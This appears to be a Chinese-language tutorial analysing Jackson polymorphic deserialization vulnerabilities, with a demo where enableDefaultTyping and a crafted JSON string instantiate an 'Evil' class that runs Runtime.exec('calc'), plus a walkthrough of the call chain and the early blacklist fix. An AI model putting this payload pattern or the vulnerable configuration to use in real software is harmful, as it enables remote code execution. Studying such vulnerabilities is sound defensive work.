0x00 前言
Jackson 最基础的功能就是将制定的类 序列化 to json,然后json to 序列化的这样一个工具第三方库,正常情况下因为需要执行类进行转换,所以除非是故意留有后门,否则是不会出现问题的。
但是为了处理一个情况,就是处理未知的json转换的时候,需要对多种场景进行处理。于是就有了Jackson多态机制。如:需要处理多个子类的情况。
那么当json中的指定的类的seter或者无参构造方法中存在可利用点的时候,就会造成有效的反序列化攻击。也就是需要找的反序列化调用链。
0x01 Jackson 漏洞触发缘由
Jackson可以两种方式来开放多态,或者换一个说法,当Jackson存在这两种配置的时候,就可以进行反序列化漏洞。
一个是通过DefaultTyping设置,还有一个是通过@JsonTypeInfo 注解。
1.DefaultTyping设置
该设置项存在四个选项。
JAVA_LANG_OBJECT
针对Object进行反序列化OBJECT_AND_NON_CONCRETE
针对Object、Interface、AbstractClassNON_CONCRETE_AND_ARRAYS
针对Object、Interface、AbstractClass、ArrayNON_FINAL
针对除了声明为final之外的属性
如果是默认调用了:mapper.enableDefaultTyping
,默认会选择第二个选项。
作为利用而言,只要配置了mapper.enableDefaultTyping
就可以进行反序列化利用。
2.@JsonTypeInfo
@JsonTypeInfo注解包含五个配置
NONE
表面意思无CLASS
针对Object@class
MINIMAL_CLASS
Object缩写@c
NAME
指定的一个标识,感觉是忽略了类@type
CUSTOM
自定义
我们实际上能利用的就是下面这两种,但是一般这种情况会非常稀少
CLASS
针对Object@class
MINIMAL_CLASS
Object缩写@c
0x02 反序列化Demo
1.环境:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.dataformat</groupId>
<artifactId>jackson-dataformat-xml</artifactId>
<version>2.7.9</version>
</dependency>
</dependencies>
People
package com;
public class People {
public Object object;
public void setObject(Object object) {
this.object = object;
}
}
Demo:
package com;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Demo {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "{\"object\":[\"com.Evil\",{\"a\":\"a\"}]}";
mapper.readValue(json, People.class);
}
}
Evil
package com;
public class Evil {
Evil(){
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
2.反序列化漏洞分析
readValue-_readMapAndClose
当以{
的时候就会给一个START_OBJECT的标识
getDeserializationConfig加载配置:
调用deser.deserialize模块
顺序执行到:vanillaDeserialize
this._valueInstantiator.createUsingDefault(ctxt);处调用了输入类的无参构造方法
然后遍历属性
跟进到deserialize方法,这里就是针对反序列化进行分流,如果是有标识,也就是我们配置了多态解析,就会进入deserializeWithType,否则会进入deserialize
看到deserializeWithType,进一步通过deserializeTypedFromAny进行解析
在_deserialize中获取类名准备进行构建
接着走vanillaDeserialize,首先调用空构造方法:
去调用setter方法
0x03 早期修复方式
在2.7.9.1中,通过黑名单进行过滤:主要黑名单内容如下:
黑名单的方式进行绕过是迟早的事情。